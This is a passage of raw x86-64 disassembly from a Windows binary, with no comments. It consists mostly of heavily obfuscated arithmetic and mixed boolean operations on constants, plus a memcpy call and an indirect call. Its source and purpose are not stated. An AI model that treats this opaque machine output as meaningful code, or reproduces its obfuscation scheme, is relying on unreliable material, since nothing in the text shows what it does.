sub rax, qword [rbp - 0x28]
add rax, rbx
add rax, rdx
movabs rdx, 0x4583930ff83a28cf
add rax, rdx
movabs rdi, 0x65eaf479ff7f340
add rax, rdi
sub rdx, rax
movabs rax, 0xdbfd9bc8af9e8322
mov r10, rax
movabs rbx, 0x8e3144cfb3775825
add rax, rbx
sub rbx, rax
add rcx, r9
movabs rax, 0xb73f263adc60aab5
sub rcx, rax
add rcx, r8
add rcx, rax
movabs rax, 0x1d37f531cba9c719
add rdx, rax
movabs rsi, 0xb5a2553bbd4e5660
add rdx, rsi
sub rdx, rax
movabs rax, 0xd9a37f770736aa5b
sub rdx, rax
add rdx, rdi
add rdx, rax
movabs rax, 0xc01e466a142e3989
sub rdx, rax
movabs rdi, 0x671e7b92adde47f1
sub rdx, rdi
add rdx, rax
movabs rax, 0xcd55a4c20fe97b68
sub rdx, rax
add rdx, r13
add rdx, rax
add rdx, rdi
movabs rax, 0xbd8510c36d8ec8ef
sub rdx, rax
movabs rdi, 0x9b2e5140f1657a00
sub rdx, rdi
add rdx, rax
movabs rax, 0x98f38330d996edf
sub rdx, rax
sub rdx, rsi
add rdx, rax
add rdx, rdi
movabs rax, 0xd17cefb18fb939a0
add rbx, rax
movabs rdi, 0x524c9f3e709ec497
sub rbx, rdi
sub rbx, rax
movabs rax, 0x402562dd301b3965
sub rbx, rax
movabs rdi, 0x6501e7ef08d47d7b
sub rdx, rdi
add rdx, rbx
add rdx, r10
add rdx, rax
movabs rax, 0x18bfe4b7d658e23b
sub rdx, rax
add rdx, rdi
add rdx, rax
mov r8d, dword [r15 + 8]
sub rsp, 0x20
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov r8d, dword [rax]
mov edx, dword [r15 + 8]
mov r9d, dword [r12 + 0xc]
movabs rdi, 0xe246a107a43a5385
mov rax, rdi
movabs rbx, 0x201431a805b30a49
sub rax, rbx
sub rax, rdi
movabs rdi, 0x1bdd3029daf2267b
add rax, rdi
movabs rsi, 0xd65319d5defb6548
sub rax, rsi
sub rax, rdi
movabs rdi, 0x5e9b37e130b046ec
add rax, rdi
add rax, rbx
sub rax, rdi
movabs rbx, 0x604e3efc0c1103cf
mov rdi, rbx
add rax, rbx
movabs rbx, 0xc2dba98717a52996
add rax, rbx
movabs rcx, 0xfd7023a5ca5fb1fc
add rax, rcx
sub rbx, rax
add rbx, rdi
movabs rdi, 0xe7b0621e15fe3973
mov rax, rdi
sub rax, rbx
movabs rbx, 0xe3d5854f18579ff0
sub rax, rbx
sub rax, rdi
movabs rdi, 0x199302bdf3e8feaf
add rax, rdi
add rax, rsi
sub rax, rdi
movabs rdi, 0x472aaf7751621f47
add rax, rdi
add rax, rbx
sub rax, rdi
movabs rbx, 0xa2975f172585267a
sub rax, rbx
movabs rdi, 0x1999d6f1ecd9cfc1
add rax, rdi
add rax, rbx
movabs rbx, 0x8449fe1d0aca90bd
add rax, rbx
movabs rsi, 0x76a7691c7a803c87
add rax, rsi
sub rax, rdi
sub rax, rsi
movabs rdi, 0x457b51ae69351207
add rax, rdi
movabs rsi, 0x26d94e1c3b16049d
add rax, rsi
sub rax, rdi
movabs rdi, 0x96768ba6646608ed
sub rax, rdi
sub rax, qword [rbp + 0x98]
sub rax, rsi
add rax, rdi
movabs rdi, 0x1cf43c9bd159cb04
add rax, rdi
movabs rsi, 0x18439e577b24378e
add rax, rsi
sub rax, rdi
movabs rdi, 0x89d6b6251bc08a43
sub rax, rdi
sub rax, rbx
add rax, rdi
movabs rbx, 0x13251670dbd96d5f
sub rax, rbx
sub rax, rsi
add rax, rbx
movabs rbx, 0x921247baf8735b11
add rax, rbx
movabs rdi, 0x2a8d038a8bb9f07d
add rax, rdi
sub rax, rbx
movabs rbx, 0x813319d7025007c
add rax, rbx
movabs rsi, 0xe9008d4bf71138ca
add rax, rsi
sub rax, rbx
movabs rbx, 0x67aa58deda415fcb
sub rax, rbx
sub rax, rdi
add rax, rbx
movabs rbx, 0x83d14b6f91210a79
sub rax, rbx
movabs rdi, 0x655559651403e04c
add rax, rdi
add rax, rbx
movabs rbx, 0xd45151ca27414d0
add rax, rbx
sub rax, rcx
sub rax, rbx
sub rax, rdi
sub rax, rsi
movabs rsi, 0x4d3e136aede3d8de
mov r10, rsi
add rax, rsi
movabs rcx, 0x372db5b6fdf473d7
movabs rbx, 0x2028b2423ead8a6a
mov rdi, rbx
add rbx, rcx
movabs rsi, 0xed83cd3e8ee9a2f7
add rbx, rsi
sub rbx, rcx
movabs rcx, 0xc14e1488765756ab
sub rbx, rcx
movabs r11, 0xda290093c257fce3
add rbx, r11
add rbx, rcx
movabs rcx, 0x3cf588eed5687951
add rbx, rcx
sub rbx, rsi
sub rbx, rcx
movabs rcx, 0xfb12ad3da904f900
sub rbx, rcx
movabs rsi, 0xf42cfe1e1e2e7c9
add rbx, rsi
add rbx, rcx
movabs rcx, 0x8f17fe0af4ec9921
sub rbx, rcx
sub rbx, rdi
add rbx, rcx
movabs rcx, 0xd7bb155cd08b2b62
sub rbx, rcx
sub rbx, rsi
add rbx, rcx
movabs rsi, 0x80f2c35687a72f9b
mov rdi, rsi
movabs rcx, 0xd135fd8a5b5849d7
mov r15, rcx
sub rdi, rcx
sub rdi, rsi
movabs rsi, 0xb126e5d35d632b68
sub rdi, rsi
sub rdi, r9
add rdi, rsi
movabs rsi, 0x9c63845a0d69d99c
sub rdi, rsi
movabs rcx, 0xc71485d87b8bc7ae
mov r9, rcx
sub rbx, rcx
add rbx, rdi
add rbx, r15
add rbx, rsi
movabs rcx, 0x3693290ab7d932b2
add rbx, rcx
add rbx, r9
movabs rsi, 0x7a2366550e175ddc
mov r9, rsi
add rbx, rsi
sub rcx, rbx
movabs rbx, 0xa2bd1a4a6a48fb7c
mov rdi, rbx
movabs rsi, 0xe781b8ca29a6ed07
mov r15, rsi
add rbx, rsi
movabs rsi, 0xaddc45ba699f747b
sub rbx, rsi
sub rbx, rdi
movabs rsi, 0xd36729a679ca2b46
add rbx, rsi
mov rdi, r10
sub rdi, rax
mov rax, r15
sub rax, rbx
add rax, rsi
movabs rbx, 0x3f358972085761fb
sub rax, rbx
movabs rsi, 0x456e6833282d9667
sub rdi, rsi
add rdi, rax
add rdi, rbx
add rdi, rsi
movabs rsi, 0x9d6b7f8fabb1abe9
mov rax, rsi
sub rax, rdi
add rcx, r9
movabs rbx, 0x497ee8aba2a40341
sub rcx, rbx
add rcx, r11
add rcx, rbx
sub rax, rsi
movabs rbx, 0x1b711d3c127ca793
add rax, rbx
movabs rdi, 0xbecffe3f7015bbfc
add rax, rdi
sub rax, rbx
movabs rbx, 0xec64cfa7bd7d35b3
add rax, rbx
movabs rsi, 0x81eca85c9644c810
add rax, rsi
sub rax, rbx
movabs rbx, 0xb103784e84d3b9dc
add rax, rbx
sub rax, rdi
sub rax, rbx
movabs rbx, 0x721823586f4740f1
sub rax, rbx
movabs rdi, 0x5b0d6157dafb740d
sub rax, rdi
add rax, rbx
movabs rbx, 0x55125efc225eae8
sub rax, rbx
sub rax, rcx
add rax, rbx
movabs rcx, 0xcdc374d6c5a3ef1a
sub rax, rcx
add rax, rdi
add rax, rcx
movabs rcx, 0xcaaee34db9e10265
sub rax, rcx
movabs rbx, 0xd9c4ef7258c5feb5
sub rax, rbx
add rax, rcx
movabs rcx, 0x294a5d4966a82e66
sub rax, rcx
sub rax, rsi
add rax, rcx
add rax, rbx
movabs rbx, 0x13a9573b80b4b3ad
mov rcx, rbx
sub rcx, rax
movabs rax, 0x291c44ca0a64ec06
sub rcx, rax
sub rcx, rbx
add rcx, rax
movabs rax, 0x81486c4c38de8bc6
sub rcx, rax
sub rcx, qword [rbp + 8]
movabs rbx, 0x2cabf6e55e450a1d
add rcx, rbx
add rcx, rax
movabs rax, 0x2de84faa14e191d8
mov rbx, rax
sub rcx, rax
movabs rax, 0x4f8e602201e994c8
add rcx, rax
add rcx, rbx
movabs rdi, 0xd16afee7254257cd
mov rbx, rdi
movabs rax, 0x4f1107a452719607
sub rbx, rax
sub rbx, rdi
sub rbx, rcx
movabs rcx, 0x4077880b85ee87a5
sub rbx, rcx
add rbx, rax
add rbx, rcx
movabs rdi, 0x682c85d938788bc5
mov rax, rdi
movabs rcx, 0x1d05876da0cb06e1
mov r9, rcx
sub rax, rcx
movabs rsi, 0x4d4d7cd1c5f4e51d
sub rax, rsi
sub rax, rdi
movabs rdi, 0x7dcf24c10aefc274
add rax, rdi
sub rax, rbx
sub rax, rdi
add rax, rsi
movabs rbx, 0x3a8ffd9addd5c960
sub rax, rbx
movabs rcx, 0xe94b341a6d968b9f
add rax, rcx
add rax, rbx
movabs rbx, 0xb589d1d1430c7f2e
add rax, rbx
add rax, r9
sub rax, rbx
movabs rbx, 0x74b0978d9092b69
add rax, rbx
sub rcx, rax
movabs rsi, 0x5722422ddea5bd88
mov rax, rsi
movabs rdi, 0xa7c742b5ab692b2c
sub rax, rdi
sub rax, rsi
movabs rsi, 0x727ed1d0ef07a62b
sub rax, rsi
add rcx, rbx
movabs rbx, 0xea79aafe8ee8a13e
sub rcx, rbx
add rcx, rax
add rcx, rbx
add rcx, rdi
add rcx, rsi
neg rcx
mov r9, qword [rbp + 0x48]
sub rsp, 0x20
call r14
add rsp, 0x20
mov eax, dword [0x1400a6668]
mov r8d, dword [0x1400a6664]
lea r10d, [rax - 1]
imul r10d, eax
mov r9d, r10d
not r9d
mov eax, r9d
and eax, 0xcdcf15a2
mov edi, r10d
and edi, 0x3230ea5d
or edi, eax
mov esi, edi
xor esi, 0x1200404c
xor edi, 0xcdcf15a2
mov ecx, r9d
and ecx, 0xa683ea95
mov eax, r10d
and eax, 0x597c156a
or eax, ecx
mov ecx, eax
xor ecx, 0x597c156a
xor eax, 0xa683ea95
or eax, ecx
mov ecx, eax
not ecx
mov ebx, edi
or ebx, eax
mov edx, ebx
not edx
and edi, 0xa875be11
and esi, 0x578a41ee
or esi, edi
and eax, 0xa875be11
and ecx, 0x578a41ee
or ecx, eax
xor ecx, esi
mov eax, ecx
not eax
mov edi, ebx
and edi, 0xc819db39
and edx, 0x37e624c6
or edx, edi
or ebx, eax
and eax, 0xc819db39
and ecx, 0x37e624c6
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x16000c9d
mov ecx, ebx
and ecx, 0x80028022
or ecx, eax
xor ecx, 0x80028022
and ebx, 0x69fd7340
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xbc1c046f
and ebx, 0x43e3fb90
or ebx, eax
mov edi, ebx
xor edi, 0x11217027
xor ebx, 0x2a1e88d0
mov eax, ebx
and eax, 0xcec20748
and edi, 0x313df8b7
or edi, eax
mov r11d, edi
xor r11d, 0x313df8b7
mov ecx, edi
xor ecx, 0x1ba76a98
and ecx, r11d
or ebx, 0xd5656dd0
mov esi, ebx
not esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5bca13e5
and ecx, 0xa435ec1a
or ecx, edx
or eax, ebx
and ebx, 0x5bca13e5
and esi, 0x2010800a
or esi, ebx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0xc01dbfca
and eax, 0x3fe24035
or eax, ecx
mov ebx, eax
xor ebx, 0x128d010
xor edi, 0xcc800008
and edi, 0xfcb0980e
mov esi, r11d
and esi, 0x34f67f1
or esi, edi
xor esi, 0x34f67f1
or esi, r11d
mov ecx, esi
not ecx
and ecx, 0x2b4de3a1
and esi, 0xd4b21c5e
or esi, ecx
mov ecx, esi
xor ecx, 0x80221c50
xor esi, 0x2b4de3a1
xor eax, 0xea872de5
mov edx, eax
and edx, 0x74d5028e
and ebx, 0x8b2afd71
or ebx, edx
or eax, esi
and esi, 0x74d5028e
and ecx, 0x8b2afd71
or ecx, esi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov r11d, eax
not r11d
mov ecx, r11d
and ecx, 0x1ee74349
and eax, 0xe118bcb6
or eax, ecx
xor eax, 0x1ee74349
xor r11d, eax
and r11d, eax
and r9d, 0x9dbdc773
and r10d, 0x6242388c
or r10d, r9d
mov edi, r10d
xor edi, 0x6242388c
mov eax, r10d
xor eax, 0x1c1d8630
and eax, 0x3e1dbe34
xor r10d, 0x9f6379a0
and r10d, edi
and edi, 0xc1e241cb
or edi, eax
mov eax, edi
xor eax, 0xc1e241cb
mov ecx, edi
xor ecx, 0xc33cff18
and ecx, eax
mov edx, ecx
not edx
mov esi, r10d
not esi
mov ebx, edx
and ebx, 0xef9fda00
and ecx, 0x106025ff
or ecx, ebx
or edx, esi
and esi, 0xef9fda00
and r10d, 0x106025ff
or r10d, esi
xor r10d, ecx
not edx
or edx, r10d
mov ecx, edx
not ecx
and ecx, 0x2debed3
and edx, 0xfd21412c
or edx, ecx
xor edi, 0x2a08b824
and edi, 0xea4ab8ee
and eax, 0x15b54711
or eax, edi
xor eax, 0x15b54711
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xbdcb8230
and ecx, 0x42347dcf
or ecx, edi
or eax, ebx
and ebx, 0xbdcb8230
and edx, 0x42347dcf
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x5780b076
and eax, 0xa87f4f89
or eax, ecx
mov ecx, eax
xor ecx, 0x770809
xor eax, 0x54803066
and eax, 0xfc8877e6
and ecx, 0x3778819
or ecx, eax
mov eax, ecx
xor eax, 0xac887106
xor ecx, 0x2268819
and ecx, 0x52268ef9
and eax, 0xadd97106
or eax, ecx
mov edi, eax
xor edi, 0xadd97106
xor eax, 0x52268ef9
mov ecx, eax
and ecx, 0x5169cd86
mov edx, edi
and edx, 0xae963279
or edx, ecx
mov ecx, edx
xor ecx, 0xae963279
xor edx, 0x5169cd86
and edx, r11d
xor eax, r11d
not eax
and eax, r11d
not r11d
and ecx, r11d
or edx, ecx
mov esi, edx
xor esi, r11d
and esi, edx
xor r11d, edi
not r11d
and r11d, edi
mov ebx, r11d
not ebx
mov edx, eax
not edx
mov edi, ebx
and edi, 0xf4807238
and r11d, 0xb7f8dc7
or r11d, edi
or ebx, edx
and edx, 0xf4807238
and eax, 0xb7f8dc7
or eax, edx
xor eax, r11d
not ebx
or ebx, eax
mov r9d, esi
not r9d
mov eax, ebx
xor eax, 0xb19d4f80
mov edi, eax
and eax, ebx
not ebx
mov ecx, esi
xor ecx, 0xb19d4f80
and ecx, r9d
and esi, 0x4e62b07f
and edi, ebx
mov edx, ecx
and edx, esi
xor esi, ecx
or esi, edx
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, esi
not ecx
and ecx, 0xb67d91a
and esi, 0xf49826e5
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0xb67d91a
and eax, 0xf49826e5
or eax, ecx
xor eax, esi
mov ecx, r9d
and ecx, ebx
xor ebx, r9d
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x9cf60304
and ebx, 0x6309fcfb
or ebx, ecx
mov ecx, ebx
xor ecx, 0x2100f802
xor ebx, 0x9cf60304
mov esi, eax
not esi
mov edi, esi
and edi, 0xca4904f9
and eax, 0x35b6fb06
or eax, edi
or esi, ebx
and ebx, 0xca4904f9
and ecx, 0x35b6fb06
or ecx, ebx
xor ecx, eax
not esi
or esi, ecx
mov r9d, esi
not r9d
mov eax, r9d
and eax, 0x88250844
mov edx, esi
and edx, 0x560811a8
or edx, eax
xor edx, 0x560811a8
mov r15d, esi
xor r15d, 0xde2d19ec
and r15d, esi
mov eax, edx
and eax, r15d
xor r15d, edx
or r15d, eax
mov eax, r15d
not eax
and eax, 0x21d2e613
and r15d, 0xde2d19ec
or r15d, eax
mov eax, r15d
not eax
mov edx, r15d
xor edx, 0x901c11c9
mov ebx, edx
and ebx, eax
and edx, r15d
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x901c11c8
and edx, 0x6fe3ee37
or edx, ebx
and eax, 0xfffffffe
xor r15d, 1
or r15d, eax
not r15d
mov eax, edx
and eax, r15d
xor r15d, edx
or r15d, eax
mov eax, r15d
not eax
and eax, 0xf1ce0c43
and r15d, 0xe31f3bc
or r15d, eax
mov r10d, r15d
xor r10d, 0xf1ce0c43
xor r15d, 0xe31f3bc
mov eax, r9d
and eax, 0x71326b1c
mov edx, esi
and edx, 0x8ecd94e3
or edx, eax
mov edi, edx
xor edi, 0x800002
xor edx, 0x1200808
and edx, 0x87601c09
and edi, 0x40904002
or edi, edx
mov r11d, edi
xor r11d, 0x789fe3f6
mov ecx, edi
xor ecx, 0x87601c09
mov eax, r9d
and eax, 0x8203d97b
and esi, 0x7dfc2684
or esi, eax
xor esi, 0x45f38570
xor r9d, esi
and r9d, esi
mov r14d, r9d
not r14d
mov esi, edi
xor esi, 0xf263a441
and esi, r11d
xor edi, 0xc2600401
and edi, ecx
mov eax, r14d
and eax, 0x7503b848
mov edx, r9d
and edx, 0x8afc47b7
or edx, eax
mov eax, esi
and eax, edi
xor edi, esi
or edi, eax
mov eax, edi
not eax
and eax, 0xfa069ae
and edi, 0xf0539441
or edi, eax
mov eax, edx
not eax
and eax, 0xfa069ae
and edx, 0xf05f9651
or edx, eax
xor edx, edi
mov eax, ecx
and eax, 0xc4f0100a
and r11d, 0x230c6f81
or r11d, eax
or ecx, r9d
and r9d, 0xdcf3907e
and r14d, 0x230c6f81
or r14d, r9d
xor r14d, r11d
not ecx
or ecx, r14d
mov eax, ecx
not eax
and eax, 0xd7326458
and ecx, 0x28cd9ba7
or ecx, eax
mov ebx, ecx
xor ebx, 0x8011a21
xor ecx, 0xd7326458
mov eax, edx
not eax
mov edi, eax
and edi, 0xe5dce5c6
and edx, 0x1a231a39
or edx, edi
or eax, ecx
and ecx, 0xe5dce5c6
and ebx, 0x1a231a39
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x858bf46
mov ebx, edx
not ebx
or eax, 0xe70000b1
and eax, 0xe74008b1
and ecx, 0x818b746
or ecx, eax
and edx, 0xe74008b1
and ebx, 0x10a74008
or ebx, edx
xor ebx, ecx
mov eax, ebx
not eax
and eax, 0x4b3fca05
and ebx, 0xb4c035fa
or ebx, eax
mov r14d, ebx
xor r14d, 0x7b68d6b6
mov eax, r10d
and eax, 0xc1010a3
mov ecx, r15d
and ecx, 0x3004148
or ecx, eax
xor ecx, 0x3004148
mov r12d, r15d
and r12d, 0xf0efae14
or r12d, ecx
mov eax, r12d
not eax
and eax, 0xf0efae14
and r12d, 0xf1051eb
or r12d, eax
mov eax, ebx
xor eax, 0x84972949
xor ebx, 0x173fb1b
and ebx, r14d
mov ecx, eax
and ecx, 0x5daa508
and r14d, 0xfa255af7
or r14d, ecx
xor r14d, 0x3c865d62
or r14d, eax
and eax, 0x7a1b2dad
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xd0d9eef6
and ebx, 0x2f261109
or ebx, eax
mov r11d, ebx
xor r11d, 0x553d3ca4
mov r9d, r12d
not r9d
mov eax, r9d
and eax, 0x497a257a
mov ecx, r12d
and ecx, 0xb685da85
or ecx, eax
xor ecx, 0x7026dd10
mov r13d, ecx
xor r13d, r9d
and r13d, ecx
and r10d, 0x512ad938
and r15d, 0xaed526c7
or r15d, r10d
mov eax, r15d
xor eax, 0xaed526c7
xor r15d, 0x1209018
and r15d, 0xa134b01c
mov ecx, eax
and ecx, 0x5ecb4fe3
or ecx, r15d
xor ecx, 0x6797b789
and eax, 0xc6a30795
or eax, ecx
mov r15d, eax
not r15d
mov r10d, ebx
xor r10d, 0xaac2c35b
mov ecx, r10d
and ecx, 0x68412c12
mov edx, r11d
xor ebx, 0x3a7bf8f8
and ebx, r11d
and r11d, 0x97bed3ed
or r11d, ecx
xor r11d, 0xaee22b87
or r11d, r10d
mov edi, r11d
not edi
mov esi, r13d
xor esi, eax
and esi, r13d
and eax, r13d
not r13d
and r13d, r15d
or eax, r13d
mov ecx, esi
not ecx
mov r15d, ecx
and r15d, 0x57b3c34e
and esi, 0xa84c3cb1
or esi, r15d
mov r15d, eax
not r15d
or ecx, r15d
and r15d, 0x57b3c34e
and eax, 0xa84c3cb1
or eax, r15d
mov r15d, r14d
not r15d
xor eax, esi
not ecx
or ecx, eax
mov eax, r11d
or eax, r14d
not eax
and r11d, 0xc2575a51
and edi, 0x3da8a5ae
or edi, r11d
and r14d, 0xc2575a51
and r15d, 0x3da8a5ae
or r15d, r14d
xor r15d, edi
mov edi, eax
and edi, r15d
xor r15d, eax
or r15d, edi
not ecx
mov eax, ecx
xor eax, r15d
not eax
and eax, r15d
mov edi, r15d
not edi
and edi, 0xab4b96ad
and r15d, 0x54b46952
or r15d, edi
xor r15d, 0xab4b96ad
or r15d, ecx
not r15d
mov ecx, eax
and ecx, r15d
xor r15d, eax
or r15d, ecx
and r10d, 0x9d14ef1
and edx, 0xf62eb10e
or edx, r10d
mov r10d, edx
xor r10d, 0x32028102
mov eax, r12d
or eax, 0x90b93ba3
mov r13d, eax
not r13d
mov esi, r12d
xor esi, 0x6f46c45c
and esi, r12d
xor edx, 0x9d14ef1
mov edi, edx
or edi, 0x90b93ba3
mov r11d, edi
not r11d
mov r14d, eax
and r14d, 0x55ef6f34
and r13d, 0x2a008048
or r13d, r14d
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x55ef6f34
and esi, 0xaa1090cb
or esi, ecx
xor esi, r13d
not eax
or eax, esi
mov ecx, ebx
not ecx
mov esi, edi
and esi, 0xc6604e23
and r11d, 0x2906805c
or r11d, esi
or edi, ecx
and ecx, 0xc6604e23
and ebx, 0x399fb1dc
or ebx, ecx
xor ebx, r11d
not edi
or edi, ebx
mov ecx, eax
not ecx
and ecx, 0x93259b91
and eax, 0x6cda646e
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0x93259b91
and edi, 0x6cda646e
or edi, ecx
xor edi, eax
mov eax, r12d
and eax, 0xc47c3aec
and r9d, 0x3b83c513
or r9d, eax
or r12d, edx
and edx, 0xc47c3aec
and r10d, 0x3b83c513
or r10d, edx
xor r10d, r9d
not r12d
or r12d, r10d
mov eax, r12d
not eax
and eax, 0xc7c8f394
and r12d, 0x38370c6b
or r12d, eax
mov ecx, r12d
xor ecx, 0x8110c63
mov eax, edi
not eax
xor r12d, 0xc7c8f394
mov edx, eax
and edx, 0x346e4188
and edi, 0xcb91be77
or edi, edx
or eax, r12d
and r12d, 0x346e4188
and ecx, 0xcb91be77
or ecx, r12d
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
or eax, 0x890c0463
mov ebx, eax
not ebx
or ecx, 0x76f3fb9c
mov edx, ecx
not edx
and eax, 0xd440e6b5
and ebx, 0x22b31908
or ebx, eax
and ecx, 0xd440e6b5
and edx, 0x90c0042
or edx, ecx
xor edx, ebx
mov eax, edx
not eax
and eax, 0x890c0463
and edx, 0x76f3fb9c
or edx, eax
mov eax, edx
not eax
and eax, 0x25e30dbf
and edx, 0xda1cf240
or edx, eax
mov eax, edx
xor eax, 0xd000f000
xor edx, 0x44208b4
and edx, 0xe5e0af4
and eax, 0xf1a1f50b
or eax, edx
mov ecx, eax
xor ecx, 0xf1a1f50b
xor eax, 0xe5e0af4
mov edx, r15d
xor edx, eax
and edx, r15d
and eax, r15d
not r15d
and r15d, ecx
or eax, r15d
mov esi, edx
not esi
mov ecx, eax
not ecx
mov ebx, esi
and ebx, 0xcaeb0a5e
and edx, 0x3514f5a1
or edx, ebx
or esi, ecx
and ecx, 0xcaeb0a5e
and eax, 0x3514f5a1
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov r9d, esi
mov r10d, esi
mov edi, esi
mov r13d, esi
xor r13d, 0xf7af3485
and r13d, esi
not esi
mov ebx, esi
mov ecx, esi
and ecx, 0xf3083085
and edi, 0x4a70400
or edi, ecx
xor edi, 0x4a70400
mov ecx, edi
and ecx, r13d
xor r13d, edi
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0x11b1a928
and r13d, 0xee4e56d7
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0x34772913
and r13d, 0xcb88d6ec
or r13d, ecx
xor r13d, 0xcb88d6ec
mov r11d, r13d
and r11d, esi
xor r13d, esi
and esi, 0xc9150ff6
and r9d, 0x36eaf009
or r9d, esi
mov ecx, r9d
xor ecx, 0x28a6009
xor r9d, 0x41100c06
and ecx, 0x8a8f63f9
and r9d, 0x75709c06
or r9d, ecx
mov ecx, r9d
xor ecx, 0x1406bf9a
xor r9d, 0x75709c06
and r9d, ecx
and ebx, 0x9e89dc63
xor r10d, 0x6176239c
or r10d, ebx
mov ecx, r10d
not ecx
and ecx, 0x73705747
and r10d, 0x8c8fa8b8
or r10d, ecx
mov ecx, r10d
xor ecx, 0x880580b0
mov ebx, r9d
mov esi, r9d
xor esi, 0x80698cfe
and esi, r9d
not r9d
xor r10d, 0x73705747
mov edx, r10d
and edx, 0x35ca784b
and ecx, 0xca3587b4
or ecx, edx
mov eax, ecx
xor eax, 0xca3587b4
or ebx, 0x7f967301
mov r14d, ebx
not r14d
xor ecx, 0xb5a3f4b5
and ecx, eax
or r10d, 0x80698cfe
mov edi, r10d
not edi
mov r15d, esi
not r15d
mov r12d, ebx
and r12d, 0x7f303d82
and r14d, 0x8049807c
or r14d, r12d
or ebx, r15d
and r15d, 0x7f303d82
and esi, 0x80cfc27d
or esi, r15d
xor esi, r14d
not ebx
or ebx, esi
mov esi, ecx
not esi
mov r14d, esi
and r14d, 0x8a6898ce
and ecx, 0x75976731
or ecx, r14d
or esi, r10d
and r10d, 0x8a6898ce
and edi, 0x75966301
or edi, r10d
xor edi, ecx
not esi
or esi, edi
mov ecx, ebx
not ecx
and ecx, 0xb946758b
and ebx, 0x46b98a74
or ebx, ecx
mov ecx, esi
not ecx
and ecx, 0xb946758b
and esi, 0x46b98a74
or esi, ecx
xor esi, ebx
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
not eax
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x8b37ed26
and ecx, eax
not eax
and eax, 0x112e6d29
and edx, 0xeed192d6
or edx, eax
mov eax, edx
xor eax, 0x82000006
xor edx, 0x1266d20
or edx, 0x74c812d9
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x4835b260
and eax, 0x83024d06
or eax, edi
or edx, ebx
and ebx, 0x4835b260
and ecx, 0xb7ca4d9f
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xea41ceba
and edx, 0x15be3145
or edx, eax
mov eax, edx
not eax
and edx, eax
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov edi, eax
or edi, 0xe61e9dad
mov ebx, edi
not ebx
and eax, 0x62160880
and edx, 0x8408952d
or edx, eax
mov ecx, edx
xor ecx, 0x8408052d
xor edx, 0x79120200
and edi, 0x79129200
and ebx, 0xe16052
or ebx, edi
and edx, 0x79129200
and ecx, 0x860c0dad
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xb08081a9
and ecx, 0x4f7f7e56
or ecx, edx
xor ecx, 0x569e1c04
or ecx, eax
mov eax, ecx
not eax
or r13d, r11d
mov edx, r13d
not edx
mov ebx, r13d
and ebx, 0x5e96e043
mov r9d, r13d
xor r13d, 0x81dc2378
and r13d, edx
and edx, 0xa1691fbc
or edx, ebx
mov ebx, edx
xor ebx, 0xa1691fbc
and ebx, ecx
xor edx, 0x5e96e043
and edx, eax
or edx, ebx
mov ebx, edx
xor ebx, ecx
and ebx, edx
mov edx, ecx
and edx, 0x9fa9f23f
xor ecx, 0x81dc2378
and ecx, eax
and eax, 0x60560dc0
or eax, edx
mov edx, eax
xor edx, 0x60020800
xor eax, 0x1e21d007
and r9d, 0x7e23dc87
or eax, 0x81dc2378
mov esi, ecx
not esi
mov edi, eax
and edi, 0x19a5b6c7
and edx, 0x66024800
or edx, edi
or eax, esi
and esi, 0x19a5b6c7
and ecx, 0xe65a4938
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, r9d
and ecx, r13d
xor r13d, r9d
or r13d, ecx
mov ecx, eax
not ecx
and ecx, 0x72f7dcb2
and eax, 0x8d08234d
or eax, ecx
mov ecx, r13d
not ecx
and ecx, 0x72f7dcb2
and r13d, 0x8d08234d
or r13d, ecx
xor r13d, eax
mov eax, ebx
not eax
and eax, r13d
not r13d
mov ecx, ebx
xor ecx, r13d
and ecx, ebx
and r13d, ebx
or r13d, eax
mov eax, ecx
not eax
mov edx, r13d
not edx
mov ebx, eax
and ebx, 0xc17fb907
and ecx, 0x3e8046f8
or ecx, ebx
or eax, edx
and edx, 0xc17fb907
and r13d, 0x3e8046f8
or r13d, edx
xor r13d, ecx
not eax
or eax, r13d
mov ecx, eax
not ecx
mov edx, eax
mov ebx, eax
mov edi, ecx
and edi, 0xb7bb6ba8
and eax, 0x48449457
or eax, edi
xor eax, 0x26ce4826
or eax, ecx
and ecx, 0x1288e2b8
and edx, 0xed771d47
or edx, ecx
xor edx, 0x83fdc136
and ebx, 0x9175238e
or ebx, edx
mov ecx, eax
not ecx
and ecx, ebx
not ebx
mov edx, ebx
xor edx, eax
and edx, ebx
and eax, ebx
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc0003000
